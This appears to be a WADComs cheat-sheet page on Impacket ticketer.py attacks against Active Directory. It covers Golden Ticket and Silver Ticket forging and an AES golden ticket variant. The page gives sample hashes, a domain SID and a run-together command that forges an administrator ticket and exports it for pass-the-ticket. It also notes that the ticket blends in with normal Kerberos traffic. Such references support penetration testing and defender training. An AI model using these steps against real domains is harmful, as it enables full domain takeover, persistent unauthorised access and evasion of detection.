3 techniquesLinux · Windows · ActiveDirectoryWADComsGPL-3.0
Impacket-GoldenTicket
ExecutionPersistenceLinuxWindowsActiveDirectory
Impacket's ticketer.py can perform Golden Ticket attacks, which crafts a valid TGT ticket using a valid user's NTLM hash. It is then possible to access any service using the TGT by requesting a TGS for that service.
Command Reference:
Target IP: 10.10.10.1
Domain: test.local
Username: john
Hash: b18b4b218eccad1c223306ea1916885f
Domain SID: S-1-5-21-1339291983-1349129144-367733775
Impacket's ticketer.py can perform Silver Ticket attacks, which crafts a valid TGS ticket for a specific service using a valid user's NTLM hash. It is then possible to gain access to that service. The following command crafts a TGS for the SMB service, which can then be used to gain a shell.
Command Reference:
Target IP: 10.10.10.1
Domain: test.local
Username: john
Hash: b18b4b218eccad1c223306ea1916885f
Domain SID: S-1-5-21-1339291983-1349129144-367733775
SMB Service: cifs
Impacket ticketer.py forges golden (or silver) tickets offline; supplying -aesKey signs the ticket with the krbtgt AES256 key instead of the RC4/NT hash, producing an AES-encrypted TGT that blends in with modern Kerberos traffic. The resulting .ccache can be exported to KRB5CCNAME and used by any Impacket tool for pass-the-ticket. Requires the krbtgt AES key and the domain SID.
Command Reference:
AES256 key: 5db474e563f34e4bb62e04eecd4a6f92
Domain SID: S-1-5-21-1339291983-1349129144-367733775
Domain: test.local
Target user: administrator
# Forge an AES golden ticket -> administrator.ccacheticketer.py-aesKey5db474e563f34e4bb62e04eecd4a6f92-domain-sidS-1-5-21-1339291983-1349129144-367733775-domaintest.localadministrator# Use itexportKRB5CCNAME=administrator.ccache